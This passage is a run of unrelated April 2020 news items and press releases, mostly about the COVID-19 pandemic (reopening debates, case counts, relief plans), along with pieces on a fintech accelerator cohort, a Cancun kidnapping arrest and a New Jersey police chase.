MSNBC, "Let the businesses open, and competition will destroy that business if, in fact, they become evident that they have the disease." She also told ABC Las Vegas affiliate KTNV-TV, that "in my opinion, you have to go ahead" and open the economy, adding, "Every day you get up, it's a gamble." Geoconda Arguello-Kline, secretary-treasurer of the 60,000-member Culinary Workers Union Local 226, released a statement condemning the mayor's comments, saying, "Workplaces need to be safe and healthy -- not a petri dish." Nevada Gov. Steve Sisolak added that he will not allow the citizens of Nevada "to be used as a control group, as a placebo, whatever she wants to call it." Sisolak imposed Nevada's stay-at-home directives on March 20, ordering all non-essential businesses to close and residents to practice social distancing and good hygiene to fight the virus, formally known as COVID-19. Goodman has no authority over the major casinos, hotels and businesses on the Las Vegas Strip and areas south of downtown which are under the jurisdiction of the Clark County Commission. The mayor only has a say in what happens to casinos and businesses in downtown Las Vegas. Kirkpatrick said on Monday that health officials in her state believe testing is "key to getting us back open" and have made ramping up testing for the disease a top priority. "Today we can do up to 2,000 tests a day. We anticipate by June 1 being able to do 10,000 tests," Kirkpatrick said. "Out hotel partners and our airport, they're making some adjustments so that our visitors feel very safe coming back. We'll invite everybody back when we feel we can meet those needs." She praised Las Vegas residents for "doing a great" job at practicing social distancing. "I'm very proud of what we're doing in our community on the social distancing piece," Kirkpatrick said. Copyright 2020, ABC Audio. All rights reserved. [April 28, 2020] Fintech Europe Selects Ten Startups for its Fifth Batch FRANKFURT, Germany, April 28, 2020 /PRNewswire/ -- Fintech Europe , Plug and Play's fintech-focused innovation platform based out of Frankfurt, Germany, announced today the ten startups selected for its fifth batch. The platform has grown its partner base to 13 Financial Institutions since its inception in May 2018. Together with Deutsche Bank, TechQuartier, BNP Paribas, Nets Group, Nexi, UniCredit, Aareal Bank, Abanca, Danske Bank, DZ Bank, Elo, UBI Banca, and Raiffeisen Bank International, the program seeks to support innovation in the world of Financial Services. After screening applications from all over the world and intensive weeks of reviewing preselected startups with the partners, the final group of ten companies have been accepted into Fintech Europe. The program aims at facilitating pilots, POCs, and business development opportunities for the participating startups and financial institutions. "These companies are changing the landscape of the Financial Services Industry. They address a wide-range of use-cases, from automatic valuation of commercial Real Estate properties using artificial intelligence and Machine Learning to a MIFID-II Behavioural Finance game, and Cybersecurity," says Fernando Zornig, Program Director of Plug and Play's Fintech Europe program. "Due to the current situation, we will see a lot of changes in Europe over the next few months and I am confident that these solutions will help our corporate partners adapt to these changes faster." Throughout the duration of the program, startups will be introduced to Plug and Play's corporate partners and will have the chance to execute pilot projects and investment opportunities with these companies. There is no cost for the startups to be in the program and they will reman part of the ecosystem even after graduation. The ten companies are as follows: Nect - Nect offers cutting edge technology in remote identity verification and biometrics. Neuroprofiler - Neuroprofiler is a MiFIDII behavioral finance game to make suitable financial recommendations and predict client's behaviors. ZecOps - Automated Security Operations. ZecOps automates Threat Analysis and Digital Forensics. Starmind - They've built a platform that puts together AI and neuroscience so organizations can leverage their collective human intelligence. Skenario Labs - SkenarioLabs offers intelligent property analytics for real estate owners, asset managers, and financial institutions. Aazzur - AAZZUR is an open banking platform that facilitates the exchange of data, messages and transactions. Keyless - Keyless is building a biometric multi-factor authentication platform that will allow organizations to go passwordless. Oper - Oper gives lenders the power to create world-class digital credit experiences. Our technology enables them to offer and process mortgage loans end-to-end and fully digitized. Sonect - A location-based matchmaking platform connecting those who want to withdraw cash, with those who want to deposit it. Oceanis - Oceanis is an end-to-end shipping finance platform where ship-owners and debt providers are connected in a new digital way. About Plug and Play Plug and Play is a global innovation platform. Headquartered in Silicon Valley, we have built accelerator programs, corporate innovation services and an in-house VC to make technological advancement progress faster than ever before. Since our inception in 2006, our programs have expanded worldwide to include a presence in over 25 locations globally giving startups the necessary resources to succeed in Silicon Valley and beyond. With over 10,000 startups and 400 official corporate partners, we have created the ultimate startup Protected ecosystem in many industries. We provide active investments with 200 leading Silicon Valley VCs, and host more than 700 networking events per year. Companies in our community have raised over $9 billion in funding, with successful portfolio exits including Danger, Dropbox, Lending Club and PayPal. For more information, visit www.plugandplaytechcenter.com . Plug and Play Contact Fintech Europe Team [email protected] View original content to download multimedia:http://www.prnewswire.com/news-releases/fintech-europe-selects-ten-startups-for-its-fifth-batch-301046872.html SOURCE Plug and Play [ Back To TMCnet.com's Homepage ] 3 police officers part of 4 arrested in Cancun kidnapping Cancun, Q.R. Four people were taken into police custody in Cancun for the crime of kidnapping after they were captured in the area of Puerto Juarez. There were no details on how police became aware of the kidnapping, only that three men and one woman were arrested by Cancun police. Reports say the three detained men had identified themselves as federal police officers. After Cancun police passed their personal data through Plataforma Mexico, the three men were listed as belonging to the Federal Police. The four were removed from a white car and the victim freed by police, who transferred the accused to Cancun facilities for the attorney general. 3 federal police officers arrested in Cancun kidnapping Detained were 36-year-old Gabriel Genaro M.M. from Mexico City, escort of the Federal Police as well as 42-year-old Jorge Sergio G.A. also from Mexico City and also an escort of the Federal Police. Hector Arturo C.M. 35 years old and a federal police escort from Zacatecas was also detained along with 21-year-old Sua Atlai B.A., of no affiliation with the corporation. Gujarat on Tuesday reported 226 new coronavirus positive cases, with Ahmedabad alone accounting for 164, taking the total number of the affected people in the state to 3,774, a Health department official said. At 19, Ahmedabad reported its highest single-day fatalities due to COVID-19, taking the overall death toll in the state to 181, the official said. Vadodara and Surat reported 15 and 14 coronavirus positive cases, respectively. The number of COVID-19 cases in Ahmedabad, Vadodara and Surat now stands at 2,543, 570, and 255, respectively. These three districts account for nearly 90 per cent of the total coronavirus positive cases in Gujarat. "All 19 deaths were reported from Ahmedabad. 15 of the deceased were suffering from comorbid conditions," said Principal Secretary (Health) Jayanti Ravi. At 2,543 cases and 128 deaths, Ahmedabad tops the chart in the state, followed by Surat (570 cases) and Vadodara (255 cases), she said. Other districts that have reported new cases are: Anand (9), Bhavnagar (1), Bharuch (2), Botad (6), Gandhinagar (6), and Rajkot (9), Ravi said. A total of 40 people in the state were discharged after recovering from COVID-19, takng their total number to 434 so far. 29 of the new recoveries are from Ahmedabad. Among those who have recovered from the coronavirus infection is a 90-year-old man from Bhavnagar who was undergoing treatment at hospital since April 5 and was on oxygen support, Ravi said. Another patient included a woman from Kutch who remained hospitalised for nearly 36 days and tested positive for coronavirus repeatedly for ten times before finally testing negative, she said. Ravi said two coronavirus positive women gave birth on Tuesday in Rajkot and Bhavnagar. "Though the babies have tested negative for coronavirus, their mothers will have to take extra care while feeding them," she said. A total of 2,526 samples were tested in the last 24 hours, Ravi said, adding that a total of 56,101 samples have been tested so far. Coronavirus cases are reported from 30 of total 33 districts in Gujarat. Apart from Ahmedabad, Surat and Vadodara,districts of Anand (60), Rajkot (55), Bhavnagar (41), Bharuch (31), and Gandhinagar (36) have reported cases in double digits among others. Gujarat COVID-19 figures are as follows: Positive cases 3,774, new cases 226, deaths 181, discharged 434, active cases 3,159 and people tested so far 56,101. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Source: Xinhua| 2020-04-28 03:09:17|Editor: huaxia Video Player Close A health worker disinfects a building in Dakar, Senegal, April 1, 2020. (Photo by Eddy Peters/Xinhua) A United Nations framework called for protecting jobs, businesses and livelihoods to set in motion a safe recovery of societies and economies as soon as possible for a more sustainable, gender-equal, and carbon-neutral path. UNITED NATIONS, April 27 (Xinhua) -- In a new framework released Monday as a roadmap to support countries' path to social and economic recovery, the United Nations called for an extraordinary scale-up of international support and political commitment to ensure that people everywhere have access to essential services and social protection. The "United Nations Framework for the immediate socio-economic response to COVID-19: Shared responsibility, global solidarity and urgent action for people in need" called for protecting jobs, businesses and livelihoods to set in motion a safe recovery of societies and economies as soon as possible for a more sustainable, gender-equal, and carbon-neutral path - better than the "old normal," according to a press release obtained by Xinhua. This new framework sets the way UN entities will deliver this vision on the ground, it said. "Decisions made in the next few months will be crucial for the progress towards the Sustainable Development Goals (SDGs)." Noting that during the Ebola outbreak in 2014, more people died from the interruption of social services and the economic breakdown than from the virus itself, the framework focused on protecting the needs and rights of those most affected by the pandemic, starting with the most vulnerable countries, groups, and those who risk being left behind, said the press release. Drawing lessons from the 2008-2009 global economic and financial crisis, the framework noted that countries with strong social protection systems and basic services suffered the least and recovered the fastest. To prevent billions of people from sliding into poverty, governments around the world will need to rapidly adapt, extend and scale-up safety "cushions," such as cash transfers, food assistance, social insurance schemes and child benefits to support families. People work in a brick field during a government-imposed nationwide lockdown in the outskirts of Agartala in Tripura, India, April 21, 2020. (Str/Xinhua) For the impacts of COVID-19 to be reduced, the United Nations called for an extraordinary scale-up of support to cope with the challenges ahead, including immediate social protection responses that consider differentiated impacts on vulnerable groups, children, women, men, and those in the informal sector. "This is particularly urgent considering that 4 billion people, more than half of the world population - including two out of three children - have no or inadequate social protection," said the press releas. UN teams covering 162 countries and territories will roll out this recovery plan in the next 12 to 18 months, under the leadership of UN Resident Coordinators (RC), supported by a network of global and regional expertise. As the technical lead in the socio-economic recovery effort, the UN Development Programme will support RCs as the technical lead in the socio-economic recovery efforts, with UN teams working as one across all aspects of the response, said the press release. While a significant proportion of the existing 17.8 billion U.S. dollars portfolio of sustainable development programs across UN entities will be adjusted towards COVID-19 needs, given the scale and scope of the socio-economic impact of the pandemic, additional funds will be required, said the press release. To support these efforts, the secretary-general launched the UN COVID-19 Response and Recovery Fund, a UN inter-agency fund mechanism to help support low- and middle-income program countries to overcome the health and development crisis caused by the COVID-19 pandemic and support people most vulnerable to economic hardship and social disruption. The financial requirements of the fund are projected at 1 billion dollars in the first nine months and will be subsequently reviewed. The secretary-general also called for a multilateral response that amounts to at least 10 percent of global gross domestic product (GDP) to mount the most effective response to crisis the world has ever seen. There will be no return to the "old normal," the framework document stated. The pandemic is a blow to developing and emerging economies that already face binding constraints of debt and limited fiscal space, with several developing countries needing urgent debt relief. Its impacts will be especially devastating for the most vulnerable countries - those in humanitarian or conflict settings. The United Nations also called for a massive fiscal and financial repurposing in the next weeks and months, including the redirection of fossil fuel subsidies to aid the response. The United Nations development system is the world's largest international actor on social protection and basic services. The UN system is present in 162 countries and territories and reaches tens of millions of people through basic services, social transfers and other forms of social protection. China has said that it was "deeply concerned" over the evaluation result of the COVID-19 rapid testing kits supplied to India by two Chinese companies which turned out to be faulty. The Indian Council of Medical Research (ICMR) had on Monday asked states not to use the test kits procured from the Chinese companies Guangzhou Wondfo Biotech and Zhuhai Livzon Diagnostics due to "wide variations" in their performance. BCCL A number of states, including Rajasthan and West Bengal, complained about the quality of the test kits India procured around 500,000 rapid antibody test kits from the two Chinese firms nearly two weeks. In a communication, the ICMR asked states and union territories to return the kits to the central government so that they can be sent back to the suppliers. The government said not a single rupee will be lost as payments were not made to the Chinese suppliers of the kits. BCCL The procurement of the kits from the two Chinese companies have been cancelled after the equipment were found under-performing, the government said. However, in a statement, Chinese embassy Spokesperson Ji Rong said, "We are deeply concerned with the evaluation results and the decision made by the Indian Council of Medical Research. China attaches great importance to the quality of exported medical products." In a statement, she also said it is "unfair and irresponsible for certain individuals to label Chinese products as 'faulty' and look at the issues with preemptive prejudice." "The COVID-19 antibody rapid test kits produced by these two Chinese companies have been exported to and well recognised in many countries in Europe, Asia and Latin America," Ji said. BCCL "We have also learned that there are strict requirements for the storage, transportation and use of COVID-19 antibody rapid test kits. Any operation which is not carried out by professionals in accordance with the product specifications will lead to the testing accuracy variations," she added. What is even more concerning is the rate at which the faulty test kits were sold to India. The test kits were bought by the importer, Matrix, for Rs 245 from China and the distributors, Real Metabolics and Aark Pharmaceuticals sold it to ICMR for Rs 600 for each kit, which means a 140 percent markup. BCCL Meanwhile, Minister of State for Health and Family Welfare Ashwini Choubey said that a meeting was held with the Health Ministers of the states in this context and assured that the Centre will provide good kits to all states. Taking a dig at West Bengal Chief Minister Mamata Banerjee, state BJP chief Dilip Ghosh on Tuesday said she formed a four-member panel to combat the COVID-19 menace, after realising that her "solo show" wasn't working and the "situation was getting out of hand". Banerjee had on Monday announced the formation of a cabinet committee on COVID-19 management, chaired by Finance and Industries Minister Amit Mitra. Education Minister Partha Chatterjee, Urban Development Minister Firhad Hakim and Minister of State for Health Chandrima Bhatttacharya are the three other members of the panel. "Why didn't she form a panel before? What took her so long? Why did she keep these ministers idle all this while, and made it a solo show! This is her habit... to form such committees when she loses control of the situation, when she senses that she is going to lose the match," Ghosh told reporters here. The BJP leader also alleged the CM was indulging in politics at this hour of crisis by suppressing the actual COVID-19 death figure. "Dead bodies are being secretly burnt by police at night in different areas over the last several days. This has also triggered protests by local people who are understandably scared," he said. Ghosh claimed that the government's decision to dole out 5 kg rice and 5 kg pulses in a month for every family was inadequate. "How can a poor family sustain on such meagre quantity of ration which will barely last for a week. This is leading to disturbances and unrest. The ration amount should be hiked to 20 kg per month," he said. Iterating his earlier charge that the chief minister was herself flouting lockdown rules by moving around in a car, the BJP MP said, "She is more keen on using her visits to gain publicity and score political brownies." The state BJP president stated that "Banerjee has failed to enforce the lockdown norms" in different parts of the state, thus increasing the risk of community transmission. Ghosh also said the figures shared by the government of the number of personal protective equipment available with state health department were "confusing and incoherent". (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Kelowna, British Columbia--(Newsfile Corp. - April 27, 2020) - FirstShot Fund Inc. ("FirstShot" or the "Company") announces the following corporate updates: Pursuant to the BC Securities Commission ("BCSC") BC Instrument 51-515, the Company is taking advantage of the exemption from the BCSC requirements under: section 4.2 [filing deadline for annual financial statements] of NI 51-102, section 4.4 [filing deadline for an interim financial report] of NI 51-102, sections 4.7(2) and (3) [filing of financial statements after becoming a reporting issuer] of NI 51-102, section 5.1(2) [filing of MD&A] of NI 51-102, and sections 5.6 (1) and (3) [delivery of MD&A] of NI 51-102. The Company's management and other insiders are subject to a trading black-out policy that reflects the principles in section 9 of National Policy 11-207 Failure-to-File Cease Trade orders and Revocations in Multiple Jurisdictions. The Company estimates that it will file its 2019 annual financial statements and MD&A on or before June 13, 2020; and file its 2020 first quarter interim financial statements and MD&A on or before July 14, 2020. There have been no material business developments since the date of the last interim financial reports were filed. Debbie Foster has been removed as Chief Financial Officer of the Company. For further information, please contact: FirstShot Fund Inc. Brian Lovig, President info@firstshotfund.com Phone: 778.699.2097 (extension 1) www.firstshotfund.com ABOUT FIRSTSHOT: FirstShot is a reporting issuer whose business model is to create and acquire unique investments and development properties in the real estate industry. The Company has a sound and driven management team with experience in all facets of real estate who will be conducting due diligence and considering acquisitions of distressed and vacant mall properties in Canada and the U.S. to be repurposed for destination sites where goods and services are not generally available on the internet or in conventional shopping centres. NO SECURITIES REGULATORY AUTHORITY OR STOCK EXCHANGE HAS APPROVED OR DISAPPROVED OF THE INFORMATION CONTAINED IN THIS NEWS RELEASE OR ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE. All statements in this press release, other than statements of historical fact, are "forward-looking information" with respect to FirstShot within the meaning of applicable securities laws, including its plans for development and acquisition of vacant and distressed shopping centers. The Company provides forward-looking statements for the purpose of conveying information about current expectations and plans relating to the future and readers are cautioned that such statements may not be appropriate for other purposes. By its nature, this information is subject to inherent risks and uncertainties that may be general or specific and which give rise to the possibility that expectations, forecasts, predictions, projections or conclusions will not prove to be accurate, that assumptions may not be correct and that objectives, strategic goals and priorities will not be achieved. These risks and uncertainties include but are not limited to those identified and reported in FirstShot's public filings under FirstShot Fund Inc.'s SEDAR profile at www.sedar.com. Although FirstShot has attempted to identify important factors that could cause actual actions, events or results to differ materially from those described in forward-looking information, there may be other factors that cause actions, events or results not to be as anticipated, estimated or intended. There can be no assurance that such information will prove to be accurate as actual results and future events could differ materially from those anticipated in such statements. FirstShot disclaims any intention or obligation to update or revise any forward-looking information, whether as a result of new information, future events or otherwise unless required by law. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/54971 Metro Manila (CNN Philippines, April 28) Amid the ongoing global health crisis, the Department of Agriculture continues to assure the nation there is more than enough agricultural goods that could last until end of the year. Agriculture spokesperson Noel Reyes said in a virtual press briefing Tuesday that most commodities would end the year with a surplus. Nais ko lang po siguruhin ulit na meron po tayong sapat na supply ng pagkain sa buong bansa at patuloy po natin itataas pa ang produksyon ng mga ito, Reyes said. [Translation: I just want to reassure again that we have enough supply of food in the country and we will continue to increase production.] The agency estimates a surplus supply of rice for 94 days, 234 days for corn, 88 days for vegetables, 233 days for poultry, and two days for fish. However, Reyes said that the country might experience a shortage of pork for 31 days. The DA earlier encouraged consumers to shift to alternative sources of protein other than pork, such as poultry and eggs. Meron po tayong nakikitang kakulangan sa supply ng baboy ngunit sinisikap po natin na itoy masolusyonan. Sinisiguro din po natin na maluwag ang pagdala ng mga pagkain mula sakahan at pangisdaan, patungong Metro Manila at iba pang mga lungsod sa buong bansa, Reyes said. [Translation: We are seeing a shortage in the supply of pork but we are trying to solve this. We also assure that the flow of goods from farms and fisheries going to Metro Manila and other cities in the country.] Metro Manila and other provinces are under enhanced community quarantine to contain the spread of COVID-19, suspending most work and mass transportation, but the government has mandated a free flow of goods, particularly food products. Here are todays top news, analysis and opinion at this hour. Know all about the latest news and other news updates from Hindustan Times. 4 areas in Delhi may come out of red zone by May 3, three more by May 10 At least four areas in Delhi are likely to come out of the containment zone categorisation by May 3, when the nationwide lockdown to control the spread of coronavirus disease Covid-19 is scheduled to end. Read more. Niti Aayog staffer tests Covid-19 positive, building to be sealed for 2 days Apex government think-tank Niti Aayog on Tuesday sealed its office headquartered at Niti Bhawan after an employee tested positive for coronavirus. This is the second government building to be sealed a week after the ministry of civil aviation sealed its office at Rajiv Gandhi Bhawan in New Delhis Jor Bagh. Read more. Shiv Sena calls Bulandshahr killings terrible, Congress demands thorough probe Shiv Sena leader Sanjay Raut has called the killing of two sadhus in Uttar Pradeshs Bulandshahr terrible and appealed people to not give it a communal colour. The bodies of the two sadhus were found in a temple in Pagona village in Anoopshahar area of Uttar Pradeshs Bulandshahr district on Monday night. Read more. Cant control when we could go home, so we dont think about it: Sjoerd Marijne on life in lockdown Being at the camp for nearly nine weeks now, Marijne says he is eagerly waiting for the lockdown to lift so that he and the players can visit their families.In an exclusive chat with Hindustan Times, the Dutchman opens up on how the team is keeping themselves positive away from families amid lockdown. Read more. Soon after MIUI 12 announcement, Xiaomi says MIUI 13 is underworks Announcing the next version of smartphone software is not new for Xiaomi. The company, soon after rolling out MIUI 11, confirmed that it is working on MIUI 12.Meanwhile, MIUI 12 has been announced in China alongside the Mi 10 Youth 5G Edition smartphone. Read more. Call this cat Regina George because it is done with people trying to make fetch happen This 10-second-long clip was posted to Reddit on April 27. Descriptively captioned, After 10 minutes of fetch, the new kitten decided she had had enough; the video was shared to the subreddit Startled Cats. Read more. Quarantine closet detox: 5 rules to let go of the clothes you no longer need but keep When you open your wardrobe, is it bursting at the seams? Its a possibility that it may take one more than an hour to scour through the hundred pieces and pick that one white shirt. Read more. Bombay HC strikes down UGC Regulation that restricted tenure of college principals College principals can now continue to hold their posts till their retirement, as the Bombay High Court on Monday struck down a clause in University Grant Commission (UGC) Regulations, 2010 that converted their permanent posts into term posts. Read more. Donald Trump on Kim Jong Uns health: Have a very good idea but cant talk about it US President Donald Trump said he has a very good idea about Kim Jong Uns health. However, Trump said that he couldnt talk about it. Trump also said that if he werent president, US would have gone to war against Kim. Trump said, Kim Jong Un? I cant tell you exactly. Yes, I do have a very good idea, but I cant talk about it now. I just wish him well. Watch here. Local leaders send California governor letter to reopen 6 North State counties Local leaders from six northern California counties sent a letter to Governor Gavin Newsom asking that local governments make the decision on lifting the stay-at-home order. The letter has 22 signatures between mayors, state lawmakers, and board of supervisor chairs from Butte, Tehama, Glenn, Yuba, Sutter, and Colusa counties. California governor weighs easing virus order for businesses Happening today, Gov. Newsom says he plans to outline more details about efforts to ease the state's stay-at-home order. The governor said he will consider different approaches -- based on the types of businesses and where they are located. The governor is working with several state leaders on regional re-opening plans. Monday, Colorado, and Nevada joined the western states pact which already included California, Washington, and Oregon. Gov. Newsom: Changes to virus order may come within weeks A stern warning from our state's governor, crowding beaches and outdoor spaces could undo the progress of the stay at home order. The governor gave that warning at a press conference Monday. Inspired by scenes from state beaches, packed with people. New evidence shows that compliance with the emergency stay-at-home order is slipping measurably. Caltrans says car traffic on one busy stretch of highway 99 jumped 16 percent last week. More than 100,000 businesses got emergency loans on Day 1, but many remain frustrated Anger and frustration coming from business owners and bankers around the country. Many are reporting the second round of funding from the paycheck protection program is hitting some snags. Log-in issues, a sluggish system, and in some cases the online portal crashing. Marred the small business administration's loan approval process, which opened Monday morning at 10:30 a.m. This is for clients to tap into the $310 billion in funds. One bank reports being locked out of the system after submitting only 60 loans. Another banking executive tells NBC news, it could take nearly a month to get through the current loan applications. White House testing plan largely places responsibility on states Since the coronavirus reached the U.S. in January, about 1.7% of the population has been tested. But some state leaders say it is not enough to address the shortfall the Trump administration released a national plan -- but puts much of the responsibility on individual states. Under the initiative, all 50 states will receive enough tests to screen 2% of their populations every month. Paradise receives $50K grant for new sign Efforts to rebuild the iconic "Welcome to Paradise sign" are getting a boost! The original sign on the Skyway at the entrance to town burned in the Camp Fire. The North Valley Community Foundation says $50,000 has been granted by the Butte Strong Fund to help with the cost of rebuilding that sign. You may remember - the new sign design was chosen after a vote by people who live in Paradise. Chico-based landscape architect Brian Firth designed the sign. Eight Highly Anticipated Virtual Events Planned for May and June New York, April 28, 2020 (GLOBE NEWSWIRE) -- CFA Society New York (CFANY) and the CAIA Association (CAIA) have announced the launch of the Asset Owner Series (AOS) Virtual Keynotes, an online-only iteration of the society's premier educational event. The first live webinar is scheduled for Monday, May 4 from 6 p.m. 7 p.m. EDT and is free for CFA Society and CAIA members worldwide. CFA Society New York remains committed to providing opportunities for investment professionals to hear from leading minds in our industry, said CFA Society New York Board of Directors Chair Kris Thiessen, CFA, CAIA, EA. We are pleased to work with the CAIA Association to host the Asset Owner Series Virtual Keynotes and to share this relevant content with more than 100 other CFA Societies globally. Margaret Franklin, CFA, president and CEO of CFA Institute, will kick off the Virtual Keynotes interviewing Mark Delaney, chief investment officer (CIO) and deputy CEO of AustralianSuper, the largest asset owner in Australia. Delaney will discuss the intricacies of asset allocation and manager selection in the current market, as well as his views across geographies and asset classes. CFA Institute congratulates CFA Society New York for advancing the Asset Owner Series virtually while the world navigates these uncertain times, said Franklin. The AOS Virtual Keynotes offer CFA Society members worldwide exclusive access to grow their knowledge, with the goal of driving better investor outcomes for the ultimate benefit of society. Periods of stress in our lives manifest a need for cooperation and collaboration to yield better and more sustainable outcomes. The same is true in our industry, and the invitation to partner with CFANY on a virtual version of AOS is an outstanding development for our members and certainly for the end investor for whom we serve, said William J. Kelly, CEO of the CAIA Association. Education and transparency must be common denominators in all that we do, and hearing from some of the worlds largest and most sophisticated allocators will boldly underscore these important themes. Story continues The Virtual Keynotes will begin on Monday, May 4, and are anticipated to run at least through the end of 2020. The schedule of events has been confirmed through the end of June and features leading asset owners from around the world. The exact schedule is as follows: Monday, May 4 : Mark Delaney, CFA, Chief Investment Officer and Deputy CEO, AustralianSuper Monday, May 11 : Dennis Johnson, CFA, Former Chief Strategy Officer, Public Investment Fund (Saudi Arabia) Monday, May 18 : Fernando Manrique Zuniga, CFA, CAIA, Head of Bottom Up Investments, Public Markets, AFP Integra (Peru) Tuesday, May 26 : Chris Ailman, Chief Investment Officer, CalSTRS Monday, June 1 : Rich Nuzum, President, Investments and Retirement, Mercer Monday June 8 : Prakash Rao, Executive Director of Investments, National Investment and Infrastructure Fund (India) Monday, June 15 : Kent Swig, Owner, Terra Holdings, LLC (Brown Harris Stevens) Monday, June 22: Marcus Frampton, Chief Investment Officer, Alaska Permanent Fund Since 2015, the Asset Owner Series has brought together asset owners and institutional investment consultants that oversee in excess of $72 trillion of fiduciary assets under ownership or advisement to share their views at CFA Society New York AOS events. The AOS was founded by Thomas Brigandi, CFA, inaugural Global Outstanding Young Leader of the CFA Institute, and is driven by his team of over 500 industry leaders globally who source speakers from their respective networks. Visit https://www.cfany.org/asset-owner-series/aos-virtual-keynotes/ to learn more and to register for these sessions. ### About CFA Society New York CFA Society New York is one of the largest of 160 member societies of CFA Institute. Its activity began in 1937, when value investing pioneer Benjamin Graham began organizing regular meetings of local security analysts. Throughout its history, the society has remained a volunteer-led, member-driven forum for the investment community with the broad, basic aims of: establishing and maintaining a high standard of professional ethics, improving analytical techniques, supporting the interchange of ideas and information among analysts, and promoting a proper public understanding of the function of security analysis and the operation of the securities markets. CFA Society New York works in conjunction with CFA Institute to develop the industrys future professionals and to raise the standards of professionalism in the investment management industry. For more information, visit www.cfany.org, or follow us on LinkedIn and Twitter. About CAIA Association The CAIA Association is a global professional body dedicated to creating greater alignment, transparency, and knowledge for all investors, with a specific emphasis on alternative investments. A Member-driven organization representing professionals in more than 95 countries, CAIA Association advocates for the highest ethical standards. The organization provides unbiased insight on a broad range of investment strategies and industry issues, key among them being efforts to bring greater diversification to portfolio construction decisions to achieve better long-term investor outcomes. To learn more about the CAIA Association and how to become part of the organizations mission, please visit https://caia.org/. Attachment Media Contact: Robert Rowan Director, CFANY Asset Owner Series RRowan@cfany.org The good work done by health professionals and workers in Puducherry in combating the spread of coronavirus in the union territory has earned praise from the Prime Minister's office. Director of Health and Family Welfare Services S Mohan Kumar told reporters here that a Private Secretary to Prime Minister conveyed the "best wishes and appreciation of PMO to the health professionals and workers in the Health Department for the good work they have been doing to block the spread of the virus here." "I also briefed the official in the PMO on the work done under the National Rural Health Mission and also services available to patients in the OPDs in hospitals in the Union Territory," Kumar said. He also soon the government hospital here would get a robot donated by a privately managed institute to take care of COVID-19 patients undergoing treatment there. Health Department Secretary Prashant Kumar Panda said more than 11 lakh people had been covered under the ongoing door-to-door surveillance by health and ASHA worker in the union territory. He said there were only three active coronavirus cases in Puducherry and all these patients were getting treatment in the Indira Gandhi Government Medical College Hospital here after five patients tested negative at different stages during the last few days. Panda also appealed to the people to step up the social distancing. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Much of Toronto is shut down indefinitely but city councillors, set to meet online after an extended break, say theyve never been busier. Im getting non-stop requests like When will barber shops open? says Mike Colle, working from home like many Torontonians during the COVID-19 crisis. Its relentless because people are at home so theyve gone to non-stop calling and emailing since this (pandemic) started, says Colle (Ward 8 Eglinton-Lawrence). You cant get away from it. Theres no more clock. Council last had a regular meeting in late February. Mayor John Tory on March 23 declared an emergency, shutting down non-essential city services and essentially becoming a one-man city council to react to the crisis. Colleagues are preparing for Thursdays first-ever online council meeting. The agenda includes Tory seeking an emergency powers extension, plus non-crisis topics such as a gypsy moth outbreak and proposed bike lane expansion. Their work has never stopped, councillors say. They meet online with staff, colleagues and constituents instead of shuttling between city hall and ward events. Were mainly in the communications business the last few weeks, informing residents about physical distancing rules, financial aid and more, says John Filion (Ward 18 Willowdale). Kristyn Wong-Tam (Ward 13 Toronto Centre) and her staff are normally coping with a spring rush of downtown development applications. While planning offices are closed, she says, We track every single government announcement. At the end every day we send out a COVID-19 update highlighting issues that I believe people should be informed about. Wong-Tam is also working on initiatives to help Yonge Street Mission and struggling LGBTQ2S+ businesses. Two Scarborough representatives Michael Thompson, the economic and community development chair, and budget chief Gary Crawford are in constant touch with Tory and officials about his economic support and recovery task force. Nine other councillors, of all political stripes and from across Toronto, are helping consult leaders in business, education, housing and other sectors on how to get the city back on its feet. Michael Ford, Premier Doug Fords nephew, is not among them but says he has regular conversations with Torys office and the Ontario government about issues affecting the city and Ward 1 Etobicoke North residents. Some have made personal protective equipment a priority. Jim Karygiannis (Ward 22 Scarborough-Agincourt) has distributed thousands of pieces to workers in health care and seniors homes, plus regular constituents. Some councillors already had home offices. Others are adapting. My wife is also working from home and our three boys are studying, so trying to find a workspace is challenging, says government services chair Paul Ainslie (Ward 24 Scarborough Guildwood). Gord Perks continues work as chair of the citys drug strategy, noting an increase in opioid overdose calls. He is also meeting electronically with fellow council progressives as well as with Ward 4 Parkdale-High Park residents. But Perks says nothing replaces traditional meetings and he worries about when he can sit across the table from people. Not being able to sit in a town hall forum and have a conversation with the neighbourhood about the issues that matter means, to some extent, Im flying blind, on community concerns, Perks says. I dont foresee any time soon asking 100 people to meet me in a church basement. David Rider is the Stars City Hall bureau chief and a reporter covering city hall and municipal politics. Follow him on Twitter: @dmrider Read more about: The Portland, Maine man who led New Jersey cops on two chases from Burlington County to Trenton last week following an assault was arrested two days later in New York - after again wrecking a stolen vehicle in a police chase, cops say. Paul D. Grandmaison, 41, is now in jail in Westchester County, New York, charged with possessing a stolen vehicle, drunken driving, fleeing police and being a fugitive from justice and related charges, the New York State Police said Monday. They arrested Grandmaison Friday afternoon shortly after he fled a motor-vehicle stop on Interstate 95 and crashed into an embankment in the town of Rye, police said. Troopers pulled over a 1996 Dodge Ram pick-up truck he was driving at about 12:35 p.m., and as they approached it, the driver fled. As they pursued the vehicle, troopers learned it was reported stolen in New Jersey. The truck sped away but crashed moments later at an intersection just off the highway. Troopers found Grandmaison behind the wheel, apparently intoxicated by drugs, and wanted in New Jersey, police said. He was jailed after being treated at a local hospital for minor injuries. (He also has a suspended drivers license, police said.) Last week, Grandmaison was the man behind the wheel of a truck, also stolen, that fled an incident in Burlington City in which a witness saw Grandmaison punch a woman, later identified as his girlfriend. The victim was able to tell the witness her boyfriend had been, beating her all day, police said in a statement. Burlington City police arrived in time to see Grandmaison and the woman hop into the truck and speed off. They pursued, but eventually lost the vehicle. Bordentown Township police spotted it about an hour later, and also tried to pull it over, but the truck raced away and crashed into a car in the process, police said. Bordentown officers cut off their pursuit on Interstate 195 as the truck rocketed toward Trenton. A short time later, Trenton police responding to an aggressive driver in the citys West Ward arrived to find the truck crashed, the woman inside and Grandmaison gone. An extensive search of the area, including use of a New Jersey State Police helicopter, did not locate him. Hes charged with numerous crimes in Burlington City, Bordentown Township and Trenton, including aggravated assault domestic violence, eluding police and possessing stolen property. Our journalism needs your support. Please subscribe today to NJ.com. Kevin Shea may be reached at kshea@njadvancemedia.com. A new Russian cathedral dedicated to the Armed Forces will 